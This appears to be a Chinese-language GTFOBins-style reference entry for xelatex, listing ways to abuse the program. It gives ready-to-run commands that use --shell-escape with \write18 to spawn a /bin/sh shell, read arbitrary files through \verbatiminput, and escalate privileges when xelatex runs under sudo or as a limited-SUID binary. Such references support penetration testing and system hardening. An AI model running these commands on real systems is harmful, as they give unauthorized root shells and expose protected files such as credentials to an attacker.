.. / xelatex

shell

用来生成一个交互式的系统shell。

• xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
  

file-read

从文件中读取数据。

• The read file will be part of the output.

  xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{要读取的文件路径}\end{document}'
  strings article.dvi
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• The read file will be part of the output.

  sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{要读取的文件路径}\end{document}'
  strings article.dvi
  

  sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
  

limited-suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• ./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'